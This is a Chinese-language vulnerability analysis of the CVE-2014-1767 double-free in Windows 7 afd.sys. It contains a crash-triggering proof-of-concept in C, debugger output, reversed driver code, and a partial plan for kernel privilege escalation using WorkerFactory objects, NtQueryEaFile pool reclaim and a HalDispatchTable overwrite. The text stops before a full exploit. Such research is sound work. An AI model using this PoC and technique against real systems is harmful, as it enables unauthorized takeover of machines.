CVE-2014-1767_Afd.sys_double-free_漏洞分析与利用

0x710DDDD

[0x00].简介

首先想说的是，之所以分析这个漏洞有几个原因，（1）据载此漏洞在'2014 黑客奥斯卡奖 Pwnie Awards'中被评为最佳提权漏洞之首（**AFD.sys Dangling Pointer Vulnerability (CVE-2014-1767)**）。(2) 这个漏洞是一个 double free 类型漏洞，比较有意思 (3) 迄今只有老外发了一份 writeup 讲解思路，还没有成功的 exp 放出，有的探索。本文会从 poc 开始在 windows7 x86 平台进行漏洞的原理分析以及实现一个尽量完善的提权利用：）。

[0x01]. 漏洞原理分析

A. 初窥

我们最权威也是最给力的参考资料就是下面的这个 PDF 文件。

http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf

我们根据 pdf 的描述得到以下 poc。本实验所有操作都在 windows 7 (6.1.7601) 32 位系统上完成。

```
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib")

int main()
{
    DWORD targetSize = 0x310 ;
    DWORD virtualAddress = 0x13371337 ;
   DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF-(virtualAddress& 0xFFF) ;

    static DWORD inbuf1[100] ;
    memset(inbuf1, 0, sizeof(inbuf1)) ;
    inbuf1[6]  = virtualAddress ;
    inbuf1[7]  = mdlSize ;
    inbuf1[10] = 1 ;

    static DWORD inbuf2[100] ;
    memset(inbuf2, 0, sizeof(inbuf2)) ;
    inbuf2[0] = 1 ;
    inbuf2[1] = 0x0AAAAAAA ;
```

```
    WSADATA      WSAData ;
    SOCKET       s ;
    sockaddr_in  sa ;
    int          ierr ;

    WSAStartup(0x2, &WSAData) ;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
    memset(&sa, 0, sizeof(sa)) ;
    sa.sin_port = htons(135) ;
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1") ;
    sa.sin_family = AF_INET ;
    ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;

    static char outBuf[100] ;
    DWORD bytesRet ;

     DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0,
&bytesRet, NULL);
     DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0,
&bytesRet, NULL);

    return 0 ;
}
```

双机调试 poc 得到以下 crash：

```
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad
IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, (reserved)
Arg3: 08bd0002, Memory contents of the pool block
Arg4: 854b2a20, Address of the block of pool being deallocated

Debugging Details:
------------------
POOL_ADDRESS:  854b2a20 Nonpaged pool
FREED_POOL_TAG:  Mdl
...
```

```
STACK_TEXT:
8d524a60 83f6dc6b 000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
8d524ad8 83ed8ec2 854b2a20 00000000 8636d260 nt!ExFreePoolWithTag+0x1b1
8d524aec 88787eb0 854b2a20 00000000 8876a89f nt!IoFreeMdl+0x70
8d524b08 8876a8ac 00000000 00000001 05244d85 afd!AfdReturnTpInfo+0xad
8d524b44 8876bbba 05244d2d 000120c3 8876ba8c afd!AfdTliGetTpInfo+0x89
8d524bec 887702bc 854a2db8 86472720 8d524c14 afd!AfdTransmitPackets+0x12e
8d524bfc 83e83593 86472720 8540f550 8540f550
afd!AfdDispatchDeviceControl+0x3b
```

查看 DeviceIoControl 参数：

kd> dd 8d524d04

8d524d04 8d524d34 83e8a1ea 00000050 00000000

8d524d14 00000000 00000000 001cf984 000120c3

可见是 DeviceIoControl 发送控制码 0x120C3 时候触发了 double free 漏洞，被释放的对象是一个 MDL 对象。从调用栈和作者 PDF 描述看 afd!AfdTransmitPackets 是非常关键的函数，我们会尝试去分析它。但是这之前我们会先去分析 AfdTransmitFile，因为 poc 中一共调用了两次 DeviceIoControl，第一次没有 crash，但是实际上第一个恰恰是第一次 free！第二个 IoCtl 是第二次 free（由后续分析可知），因此出现了 crash！

因此分析第一次 IoControlCode == 0x1207F 的流程必须放在前面了。当 IoControlCode=0x1207F 时，afd 驱动会调用 afd!AfdTransmitFile 函数。下面我们看一下这个函数的执行流程，通过执行流程的分析我们也会理解 DeviceIoControl 函数输入缓冲区的内容的设置缘由。

B.第一次 DeviceIoControl 调用分析(0x1207F)

a. AfdTransmitFile 函数分析

AfdTransmitFile 有两个参数，arg1 = ecx = pIrp, arg2 = edx = pIoStackLocation

通过 IoStackLocation 我们就可以访问用户传递的数据了。 我们在 inbuf1 中填充了数值，这些数值肯定是有用的，按照这些值就可以达到我们想要的流程分支。于是开始动态跟踪+静态分析，得出以下与输入缓冲区相关的控制流跳转点：

```
PAGE:0002C361 loc_2C361:                              ; CODE XREF: AfdTransmitFile(x,x)+35↑j
PAGE:0002C361                 cmp     dword ptr [eax+8], 30h ; inputBufferLength = *(pIoStack+8) , check inputbuf length
PAGE:0002C365                 jnb     short loc_2C373 ; 输入内容长度大于等于0x30则JUMP
PAGE:0002C367                 mov     [ebp+var_20], 0C000000Dh
PAGE:0002C36E                 jmp     loc_2C84D       ; var_19==0
PAGE:0002C373 ; ---------------------------------------------------------------------------
PAGE:0002C373
PAGE:0002C373 loc_2C373:                              ; CODE XREF: AfdTransmitFile(x,x)+47↑j
PAGE:0002C373                 mov     [ebp+var_20], ecx
PAGE:0002C376                 mov     [ebp+ms_exc.registration.TryLevel], ecx
PAGE:0002C379                 cmp     byte ptr [ebx+20h], 0 ; ebx=pIrp->RequestorMode, 此处不等于0,为1
PAGE:0002C37D                 jz      short loc_2C39A
PAGE:0002C37F                 mov     eax, [eax+10h]  ; Type3InputBuffer=*(pIoStack+0x10)
PAGE:0002C382                 test    al, 3           ; Type3InputBuffer(用户输入缓冲区地址)是 4字节 对齐的嘛?
PAGE:0002C384                 jz      short loc_2C38C ; afd!AfdUserProbeAddress =7fff0000
PAGE:0002C386                 call    ds:__imp__ExRaiseDatatypeMisalignment@0 ; ExRaiseDatatypeMisalignment()
PAGE:0002C38C
PAGE:0002C38C loc_2C38C:                              ; CODE XREF: AfdTransmitFile(x,x)+66↑j
PAGE:0002C38C                 mov     ecx, _AfdUserProbeAddress ; afd!AfdUserProbeAddress =7fff0000
PAGE:0002C392                 cmp     eax, ecx
PAGE:0002C394                 jb      short loc_2C398 ; eax-->userBuf
```

inputBufferLen >= 0x30

inputBuffer & 0x3 == 0

inputBuffer < 0x7fff0000

```
PAGE:0002C39A                 push    0Ch
PAGE:0002C39C                 pop     ecx             ; ecx==0x0C
PAGE:0002C39D                 mov     eax, [ebp+var_30]
PAGE:0002C3A0                 mov     esi, [eax+10h]  ; esi=userBuf,eax==pIoStack
PAGE:0002C3A3                 lea     edi, [ebp+var_94] ; tempBuf=edi=loc_94
PAGE:0002C3A9                 rep movsd               ; 12*4=48=0x30
PAGE:0002C3AB                 mov     ecx, [ebp+var_6C] ; ecx = *(DWORD*)(tempBuf+0x28)
PAGE:0002C3AE                 test    ecx, 0FFFFFFC8h ; ecx==1
PAGE:0002C3B4                 jnz     loc_2C823       ; no jump
PAGE:0002C3BA                 mov     eax, ecx
PAGE:0002C3BC                 and     eax, 30h
PAGE:0002C3BF                 cmp     eax, 30h
PAGE:0002C3C2                 jz      loc_2C823       ; no jump
PAGE:0002C3C8                 xor     esi, esi
PAGE:0002C3CA                 cmp     [ebp+Handle], esi
PAGE:0002C3CD                 jz      short loc_2C3E9 ; jump ok
```

memcpy(tempBuf, userBuf, 0x30) ;

if(*(DWORD*)tempBuf+0x28) & 0xFFFFFFC8 == 0)

if(*(DWORD*)tempBuf+0x28) & != 0x30)

if(*(DWORD*)tempBuf+0x28) & 0x30 == 0)

```
PAGE:0002C3E9 loc_2C3E9:                              ; CODE XREF: AfdTransmitFile(x,x)+AF↑j
PAGE:0002C3E9                                         ; AfdTransmitFile(x,x)+BD↑j
PAGE:0002C3E9                 cmp     eax, esi        ; eax==0,esi==0
PAGE:0002C3EB                 jnz     short loc_2C3F6 ; not jump
PAGE:0002C3ED                 or      ecx, _AfdDefaultTransmitWorker ; AfdDefaultTransmitWorker== 00000010
PAGE:0002C3F3                 mov     [ebp+var_6C], ecx ; tempBuf+0x28 = 0x10 | 0x01 == 0x11
PAGE:0002C3F6
PAGE:0002C3F6 loc_2C3F6:                              ; CODE XREF: AfdTransmitFile(x,x)+CD↑j
PAGE:0002C3F6                 push    3               ; ecx = elemCount
PAGE:0002C3F8                 pop     ecx             ; int
PAGE:0002C3F9                 test    dword ptr [edx+8], 200h ; edx-->FsContext
PAGE:0002C400                 jz      short loc_2C409 ; no jump
PAGE:0002C402                 call    @AfdTliGetTpInfo@4 ; 返回值是tpInfo指针
PAGE:0002C407                 jmp     short loc_2C40E ; edi == tpInfo
```

b. AfdTliGetTpInfo 分析

这里我们看到当 inputBuffer 的内容满足以上条件后，AfdTransmitFile 会调用 AfdTliGetTpInfo (3).

AfdTliGetTpInfo 同样是一个非常关键的函数，以下是对 AfdTliGetTpInfo 的逆向分析：

elemCount 是这个函数的的参数，这个函数返回值是一个指向 TpInfo 结构体的指针，为了深入理解这里的操作我们先说一下 TpInfo 这个结构体的结构：(本结构定义来自于对 AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo 的综合分析)

```
struct TpInfo {
...
TpElement  *pElemArray ; // +0x20, TpElement 数组指针
...
ULONG      elemCount  ; // +0x28, pElemArray 中元素个数
...
BYTE       isOuterMem ; // +0x32, pElemArray 是否是在本结构体之外申请的内存
...
}

struct TpElement {
int   flag ;            // +0x00
ULONG length ;          // +0x04
PVOID virtualAddress ; // +0x08
PMDL  pMdl ;            // +0x0C
ULONG reserved1 ;
ULONG reserved2 ;
} ;
```

AfdTliGetTpInfo 函数：

```
count = elemCount;                              // 调用Allocate From Lookaside 申请一个tpInfo结构体
tpInfo = ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&AfdGlobalData[6].ContentionCount);
TpInfo = tpInfo;
if ( tpInfo )
{
  *((_DWORD *)tpInfo + 2) = 0;
  *((_DWORD *)tpInfo + 3) = 0;
  *((_DWORD *)tpInfo + 4) = (char *)tpInfo + 12;
  *((_DWORD *)tpInfo + 5) = 0;
  *((_DWORD *)tpInfo + 6) = (char *)tpInfo + 20;
  *((_DWORD *)tpInfo + 13) = 0;
  *((_BYTE *)tpInfo + 51) = 0;
  *((_DWORD *)tpInfo + 9) = 0;
  *((_DWORD *)tpInfo + 11) = -1;
  *((_DWORD *)tpInfo + 15) = 0;
  *((_DWORD *)tpInfo + 1) = 0;
  if ( count > AfdDefaultTpInfoElementCount ) // AfdDefaultTpInfoElementCount == 3
  {
    *((_DWORD *)tpInfo + 8) = ExAllocatePoolWithQuotaTag((POOL_TYPE)0x10u, 0x18 * count, 0xC6646641u);
    *((_BYTE *)TpInfo + 50) = 1;                // *(DWORD*)(tpInfo+0x20) = pAlloc
                                                // *(BYTE*)(tpInfo+0x32)  = 1
  }
  result = TpInfo;
}
else
{
```

以上就是函数 AfdTliGetTpInfo，函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体。对于 ExAllocateFromNPagedLookasideList，它的大概含义就是：

```
TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST
Lookaside)
{
  *(Lookaside+0x0C) ++ ;
  tpInfo = InterlockedPopEntrySList( Lookaside )
  if( tpInfo == NULL)
  {
     *(Lookaside+0x10)++;
     tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
  }
  return  tpInfo
}
```

对于 AfdAllocateTpInfo 它的流程大概是这样的：

```
TpInfo * AfdAllocateTpInfo(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG
Tag)
{
   p = ExAllocatePoolWithTagPriority(NonPagedPool, 0x108 0xc6646641) ;
   AfdInitializeTpInfo(p, 3, 3, 1) ;
}
```

AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数，里面我们关注的几点就是上述定义时候的那几个域的值，

```
 AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
    ....
    tpInfo->pElemArray = tpInfo+0x90
    tpInfo->elemCount  = 0
    tpInfo->isOuterMem = false
    ....
```

经过调试我们发现，因为这个 lookaside list 是 afd 内部使用的。lookaside list 在我们调用使用时是空的，因此控制流过走入以下路径：

ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo，

至此，经过 alloc 我们在 ExAllocateFromNPagedLookasideList 调用后得到了一个 tpInfo 结构体。

并且这里的 pElemArray 初始化为 tpInfo+0x90 处的地址,也就是说初始化 TpElement 数组是存储在 tpInfo 内部的，可以看到初始化的 tpInfo->isOuterMem 也是 0，说明数组存储在结构体内部。有了 isOuterMem 这个成员我们不难猜测，当数组的元素个数比较多的时候自然要额外申请空间，存放数组元素，因为内部空间毕竟有限。这也是 isOuterMem 这个域的作用。这样 AfdTliGetTpInfo 内部的 if 语句就好理解了，当 element 个数大于 3 的是，会申请外部内存，并且将 isOuterMem 置为 1，将 pElemArray 指针也指向新申请的内存。 对于每个数组的元素我也给出了其定义，这是我们调试时候总结出来的，这个结构在 32 位系统下是 0x18 字节，每个域的名字都已经标出，大致是存储一些某块内存的相关信息，包括其虚拟地址、长度以及描述它的 MDL 结构。

现在转回 AfdTramsmitFile,我们获得了一个 TpInfo 结构体，下面要做什么呢？

```
PAGE:0002C465                   mov     eax, [ebp+VirtualAddress] ; *(tempBuf+0x18)
PAGE:0002C468                   mov     [esi+8], eax    ; *(pElemArray+8) = VirtualAddress
PAGE:0002C46B                   mov     [esi+4], edx    ; *(pElemArray+4) = length
PAGE:0002C46E                   mov     dword ptr [esi], 1 ; *pElemArray = 1
PAGE:0002C474                   test    byte ptr [ebp+var_6C], 10h ; 0x11, *(tempBuf+0x28)
PAGE:0002C478                   jz      short loc_2C4A3 ; no jump
PAGE:0002C47A                   mov     dword ptr [esi], 80000001h ; *pElemArray = 0x80000001
PAGE:0002C480                   push    0               ; Irp
PAGE:0002C482                   push    1               ; ChargeQuota
PAGE:0002C484                   push    0               ; SecondaryBuffer
PAGE:0002C486                   push    edx             ; Length
PAGE:0002C487                   push    eax             ; VirtualAddress
PAGE:0002C488                   call    ds:__imp__IoAllocateMdl@20 ; IoAllocateMdl(x,x,x,x,x)
PAGE:0002C48E                   mov     [esi+0Ch], eax  ; *(pElemArray+0x0C) = pMdl
PAGE:0002C491                   test    eax, eax
PAGE:0002C493                   jz      short loc_2C417
PAGE:0002C495                   push    0               ; Operation
PAGE:0002C497                   movzx   ecx, byte ptr [ebx+20h]
PAGE:0002C49B                   push    ecx             ; AccessMode
PAGE:0002C49C                   push    eax             ; MemoryDescriptorList
PAGE:0002C49D                   call    ds:__imp__MmProbeAndLockPages@12 ; MmProbeAndLockPages(x,x,x)
```

virtualAddress = *(tempBuf+0x18)　　// we set this value to 0x13371337

length　　= *(tempBuf+0x1C)　　// we also set this

someFlag　　= *(tempBuf+0x28)　　// we set this to 1

经过上面三个值的提取与判断，**程序会调用 IoAllocateMdl 且使用我们提供的 virtualAddress 以及 length！**当程序成功申请了一个 MDL 结构之后，**会将 mdl 地址填充到 pElemArray 的一个 Element 中去**，然后，调用 MmProbeAndLockPages 来尝试锁定 mdl 描述的内存，就在这个函数的调用中，**MmProbeAndLockPages 函数将调用失败！因为无效的地址范围！（0x13371337~0x13371337+length)，**

此时 AfdTramsmitFile 将进入异常处理流程！异常处理调用 AfdReturnTpInfo。

```
PAGE:0002C840 loc_2C840:                              ; DATA XREF: .rdata:stru_20A38To
PAGE:0002C840                   mov     esp, [ebp+ms_exc.old_esp] ; Exception handler 0 for function 2C31E
PAGE:0002C843                   mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh ; here is our handler !!!!
PAGE:0002C84A                   mov     ebx, [ebp+var_38]
PAGE:0002C84D
PAGE:0002C84D loc_2C84D:                              ; CODE XREF: AfdTransmitFile(x,x)+3E↑j
PAGE:0002C84D                                         ; AfdTransmitFile(x,x)+50↑j ...
PAGE:0002C84D                   cmp     [ebp+var_19], 0 ; var_19==0
PAGE:0002C851                   jz      short loc_2C8A4 ; jump ok
```

```
PAGE:0002C8A4 loc_2C8A4:                              ; CODE XREF: AfdTransmitFile(x,x)+533↑j
PAGE:0002C8A4                                         ; AfdTransmitFile(x,x)+53E↑j ...
PAGE:0002C8A4                 cmp     [ebp+pTpInfo], 0
PAGE:0002C8A8                 jz      short loc_2C8C1
PAGE:0002C8AA                 mov     eax, [ebp+var_34] ; var_34=FsContext
PAGE:0002C8AD                 mov     eax, [eax+8]      ; eax=0x200
PAGE:0002C8B0                 shr     eax, 9
PAGE:0002C8B3                 and     al, 1             ; Here we free first !!!
PAGE:0002C8B5                 movzx   eax, al
PAGE:0002C8B8                 push    eax               ; char
PAGE:0002C8B9                 push    [ebp+pTpInfo]     ; tpInfo
PAGE:0002C8BC                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x)
```

c. AfdReturnTpInfo 分析：

下面是 AfdReturnTpInfo 的一段逆向代码：

```
 for(int i = 0 ; i < *(tpInfo+0x28) ; i++)
{
    PTPELEMENT tpElemArray = *(DWORD*)(tpInfo + 0x20) ;
    PTPELEMENT tpElement = tpElemArray + i*0x18 ;
    if(*(tpElement) & 0x02 == 0)
    {
        if(*(tpElement) < 0)
        {
            PMDL pMdl = *(DWORD*)(tpElement+0x0C) ;
            if(pMdl != NULL)
            {
                if(pMdl->MdlFlags & 0x02)
                {
                    MmUnlockPages(pMdl) ;
                }
                // 请注意此处!释放了 mdl 资源,但是 tpElement+0x0C 的指针没有清空!!!
                // dangling Pointer here !
                IoFreeMdl(pMdl) ;
            }
        }
    }
}
if(*(BYTE*)(tpInfo+0x32) != 0)
{
    ExFreePoolWithTag(*(DWORD*)(tpInfp+0x20), 0C6646641h) ;
   *(BYTE*)(tpInfo+0x32) = 0 ;
}
if(arg2) // 我们的调用中 arg2 = 1
{
  // 将 tpInfo 返回到 look aside
  ExFreeToNPagedLookasideList(AfdGlobalData+0x178, tpInfo) ; }
else
```

针对我们这次执行流，AfdReturnTpInfo 执行的效果就是 free 掉了 刚刚申请的 MDL 资源，并且将 tpInfo 指针 push 到 lookaside list 中去了！
Double free 的第一次 free，dangling pointer 也就开始于此时！
free 掉 mdl 后，存放在 tpInfo 中的 Mdl 指针并没有清空，tpInfo 中 elemCount 也维持原始值，未做改动，那么假设现在再调用一次 AfdReturnTpInfo ，则势必会造成 double free ！

怎么样再次调用一次 AfdReturnTpInfo 呢 ？
考虑到 afd.sys 中 AfdReturnTpInfo 是在 大多是在异常处理程序 中使用的，因此考虑再制造一次 异常 ！ 当然要想命中 double free 必须保证 在发生异常时候， tpInfo 中的值不能被破坏 ！ 我们继续看看 Poc 是怎么做到的。

C.第二次 DeviceIoControl 调用分析(0x120C3)

a. AfdTransmitPackets 分析：

第二次 DeviceIoControl，IoControlCode = 0x120C3，内部调用 AfdTransmitPackets:

```
 __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
{
    IoStack->InputBufferLength >= 0x10
    IoStack->Type3InputBuffer & 3 == 0
    IoStack->Type3InputBuffer < 0x7fff0000
    memcpy(tempBuf, IoStack->Type3InputBuffer, 0x10);
    *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
    *(DWORD*)(tempBuf+0x0C) & 0x30 != 0x30
    *(DWORD*)(tempBuf) != 0
    *(DWORD*)(tempBuf+4) != 0
    *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA

    // 以上条件关系全部成立则控制流达到此处，
    // 用户输入 可以控制 申请的 TpElement 数目 !!!
    AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
}
```

我们在 inbuf2 中设置 *(inbuf2) ==1 , *(inbuf2+4) == 0x0AAAAAAA ,恰好可以满足控制流，至此我们可以要求 AfdTliGetTpInfo 申请 0x0AAAAAAA 个 TpElement ！
回头查看 AfdTliGetTpInfo 函数，此时我们会先从 lookaside list 中取出一个 tpInfo ，由于第一次刚放进去一个 ！那么此时我们从 lookaside list 中得到的就是那个 TpInfo 结构 ！ 注意 此结构的某个元素 pMdl 是 dangling pointer ！

AfdTliGetTpInfo 继续执行会进入到 if 判断，此时 if 条件成立 ！ (0x0AAAAAAA > 3)，然后是会尝试申请 **0x18 * 0x0AAAAAAA = 0xffffff0 字节内存 ！**

显然在我们的 32 位系统上这么大的内存申请会失败 ！ 于是此时我们就成功再依次进入了 一个异常处理程序 ！

异常处理程序同样调用了 **AfdReturnTpInfo ！**，至此就像我们前面所说的，**TpInfo 中的 danling pointer 再一次被 IoFreeMdl 尝试 free ！double free 的 BUG 发生了 ！**

D. 漏洞原理总结：

[1] 第一次 DeviceIoControl， IoControlCode = 0x1207F, afd.sys 内部调用 AfdTransmitFile，AfdTransmitFile 首先会调用 AfdTliGetTpInfo 获得一个 TpInfo 结构体。然后依照我们输入 buffer 中提供的 virtualAddres 和 length 去申请一个 MDL，申请 MDL 后，将 MDL 的地址填入到 TpInfo 的数组域内。调用 MmProbeAndLockPages 尝试锁定这块内存，由于我们提供的是无效的地址范围，此时抛出异常

异常处理程序调用 AfdReturnToInfo 释放刚刚申请的 TpInfo 到 lookaside list。同时释放掉刚刚申请的 MDL 问题是被释放的 TpInfo 的域的值没有被清空，elemCount 和 pMdl 都没有清理，pMdl 此时就是 dangling pointer

[2] 第二次 DeviceIoControl, IoControlCode =0x120c3, afd.sys 内部调用 AfdTransmitPackets，AfdTransmitPackets 内部调用 AfdTliGetTpInfo 获得一个 TpInfo 结构体,而调用 AfdTliGetTpInfo 时的参数 是由我们的输入指定的！

AfdTliGetTpInfo 首先从 lookaside list 中拿出一个 TpInfo 指针，这个指针正是第一次 IoControl 时候申请的那个！，然后因为我们指定的参数 elemCount 大于 3，AfdTliGetTpInfo 尝试 Alloc 额外的内存，因为我们可以恶意指定很大的内存申请，这导致了申请内存过程中发生异常，程序执行流再次进入异常处理，异常处理程序调用 AfdReturnToInfo 尝试释放刚刚申请的 TpInfo，因为此时 TpInfo 中完全保留的是第一次 IoControl 时填充的"过时"的值，因此造成 pMdl dangling pointer 的二次释放，导致 double-free crash！

[0x02]. double-free 漏洞利用:

a. 思路

这一段思路总体上参考了那篇 PDF 中提到的思路:

[1]. 调用 DeviceIoControl， IoControlCode = 0x1207F, 造成一次 MDL free

[2]. 创建某个对象, 使得这个对象恰好占据刚才被 free 掉的空间, 至此转化 double-free 为 use-after-free 问题

[3]. 调用 DeviceIoControl, IoControlCode =0x120c3，走入重复释放流程，释放掉刚才新申请的对象!

[4]. 覆盖被释放掉的对象为可控数据（伪造对象）

[5]. 尝试调用能够**操作此对象的函数**，让函数通过**操作我们刚刚覆盖的可控数据**，实现一个内核内存写操作，这个写操作最理想的就是**"任意地址写任意内容"**，这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址，这样就可以劫持一个内核函数调用

[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数，使得内核执行 shellcode，提权

b. 找合适的 UAF 对象

这个思路下来, 我们就是要把 double free 转化为 use-after-free 来用, 关键的关键是 我们选择用什么样的对象来 uaf? 这个对象至关重要。我们对他主要由几个要求:

A). 这个对象的大小要等于第一次被释放的内存的大小。

B). 这个对象应该有这样一个操作函数，这个函数能够操作我们的恶意数据，使得我们间接实现任意地址写任意内容

我们查看得知，第一次释放的是一个 MDL 对象，MDL 对象的大小是由 virtualAddress 和 length 共同决定的!（这一点可以通过逆向 IoAllocateMdl 确认）但是恰好,我们这里的 virtualAddress 和 length 是我们可以用户层控制、指定的! 因此 A)的要求就不必担心了，因为我们可以控制释放空间的大小。具体的:

```
pages = ((Length & 0xFFF)  + (VirtualAddress & 0xFFF) +
0xFFF)>>12  +  (length>>12)
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C
```

那么对 b 限制，怎么样能找到这么完美的对象呢？它的函数会有这么美妙的间接操作~~，外文 PDF 提到了 WorkerFactory 了。我们去看一下它的几个函数。

NtCreateWorkerFactory 创建一个 WorkerFactory 对象。

关键在于函数：**NtSetInformationWorkerFactory**

```
  v11 = *(_DWORD *)arg3;
LABEL_40:
  v39 = v11;
LABEL_44:
  ms_exc.registration.TryLevel = -2;
  result = ObReferenceObjectByHandle(Handle, 4u, ExpWorkerFactoryObjectType, AccessMode[0], &Object, 0);
  if ( result < 0 )
    return result;
  if ( arg2 == 8 )
  {
    if ( !v11 )
      v11 = *(_DWORD *)KeNumberProcessors;
    *(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v11;
    ObfDereferenceObject(Object);
    return 0;
  }
```

我们逆向看一下它的内部，发现了一个十分完美的复制语句，这就是为什么作者为我们介绍这个对象的原因吧：）

当参数满足一定条件（arg2 == 8 && *arg3 !=0)时，我们可以达到一个任意地址写任意内容的目的：

((*object+0x10)+0x1C) == *arg3

我们可以设置 ：

*arg3 = ShellCode， *(*object+0x10)+0x1C == HalDispatchTable 某个单元 ，这是完全可行的，因为我们如果可以成功覆盖 object 的话，object 的内容是我们可控的！

c. 怎么 copy 构造的数据覆盖内核内存？

到这里我们还有一个问题，就是怎么实现第四步说的**覆盖被释放掉的对象为可控数据**，只有实现了这一步我们才能利用上面的 *(*(*object+0x10)+0x1C) == *arg3 实现任意地址写任意内容。

我们分析知道被释放的 MDL 属于 NonPagedPool，而用户空间的 VirtualAlloc 并没有能力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据！这就又要采取类似使用 NtSetInformationWorkerFactory 的方法，找那样一个 Nt*系列函数，它的内部操作能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool，并且还有能复制我们的数据到它新申请的这个内存中去！说白了就是完成一次内核 Alloc 并且 memcpy 的操作！会有这么完美的函数等着我们嘛？会是哪个？还是借助那篇 pdf 的思路，对就是 NtQueryEaFile !(发现这样一个函数估计要把 Nt*逆个遍了☺)

我们看看它的内部：

```
PAGE:0058B79C                   mov     edx, [ebp+EaList]
PAGE:0058B79F                   cmp     edx, edi        ; edi == 0. edx == EaList ! = 0
PAGE:0058B7A1                   jz      loc_58B8A7
PAGE:0058B7A7                   mov     esi, [ebp+EaListLength] ; esi == EaLength
PAGE:0058B7AA                   cmp     esi, edi
PAGE:0058B7AC                   jz      loc_58B8A7
PAGE:0058B7B2                   mov     [ebp+var_19], 1
PAGE:0058B7B6                   test    dl, 3           ; EaList 4字节对齐
PAGE:0058B7B9                   jz      short loc_58B7C1 ; EaLength != 0
```

```
PAGE:0058B7DC                push    20206F49h       ; Tag
PAGE:0058B7E1                push    esi             ; NumberOfBytes
PAGE:0058B7E2                push    edi             ; PoolType
PAGE:0058B7E3                call    _ExAllocatePoolWithQuotaTag@12 ; alloc(EaLength)
PAGE:0058B7E8
PAGE:0058B7E8 loc_58B7E8:                            ; CODE XREF: NtQueryEaFile(x,x,x,x,x,x,x,x,x)+125↓j
PAGE:0058B7E8                mov     [ebp+P], eax
PAGE:0058B7EB                push    esi             ; size_t
PAGE:0058B7EC                push    [ebp+EaList]    ; void *
PAGE:0058B7EF                push    eax             ; void *
PAGE:0058B7F0                call    _memcpy         ; 内存拷贝
```

就是说内部会调用

p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49)

memcpy(p, EaList)

其中 EaLength 与 EaList 都是输入参数，用户可控。

很完美！只是有一个坑需要注意！，这里使用的是 ExAllocatePoolWithQuotaTag 而不是 ExAllocatePoolWithTag，因此实际上是不同的！差别在于申请的内存字节数上，对于 ExAllocatePoolWithQuotaTag ，其内部是调用的

ExAllocatePoolWithTag(PoolType, length+4, tag),

因此使用 NtQueryEaFile 时候，字节数=EaLength=objSize-0x4 才可以正常占位。

另外 NtQueryEaFile 函数其实结束时还是会释放掉刚刚申请的空间的，但是这个过程中只有开头的几个字节会被破坏，其余内容还是保留着的，因此不影响利用。

d. WorkerFactory 对象占据的空间大小是多少？

确定这个值我们才能进行一系列的释放与占用。

这个可以跟踪：

NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->

ExAllocatePoolWithTag

我们发现 ExAllocatePoolWithTag **申请的字节数是 0xA0 字节！**，但是返回到 NtCreateWorkerFactory 时候，对象指针是 p+0x28 ，p 是 ExAllocatePoolWithTag 返回的指针。这也是可以解释的，因为每个对象都有一个 Header，这个可以从 dt _OBJECT_HEADER 看出来，body 跟 header 偏移 0x18 字节，另外 ObpAllocateObject 也附加了一层信息 0x10 字节因此总共就是偏移原始内存+0x28 字节。知道这个我们才可以布局我们的 fake object，实现内核写。

```
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n0
    . . . .    . . .          . . .
   +0x014 SecurityDescriptor : (null)
   +0x018 Body             : _QUAD
```

另外，在 ObjHeader 中有许多域的值很重要，我们需要提前设置，因为 NtSetInformationWorkerFactory 中调用 ObReferenceObjectByHandle,

通过句柄获得对象地址，这里要校验 objHeader 里面的内容才可以成功获得 Obj 地址（这里就是 p+0x28 处）。具体填充哪些内容？

可以分析 object 创建过程或者结合 WRK 看一下，我的方法是直接复制一个已申请的 obj 的前面 0x28 字节保存到数组，测试中发现没有异常。

HalDispatchTable 劫持我们依然选择 HalDispatchTable+sizeof(PVOID)的位置劫持，用户层使用 NtQueryIntervalProfile 触发。

e. exp 设计，成功提权

梳理一下流程就是：

[1] 第一次 IoControl，释放 MDL，我们通过 virtualAddress 和 length 设置此时被释放的 MDL 内存大小为 0xA0

[2] NtCreateWorkerFactory 申请新的 WorkerFactoy 对象，占据【1】中被释放掉的内存

[3] 第二次 IoControl，通过 double free 释放掉刚刚申请的 WorkerFactoy 对象

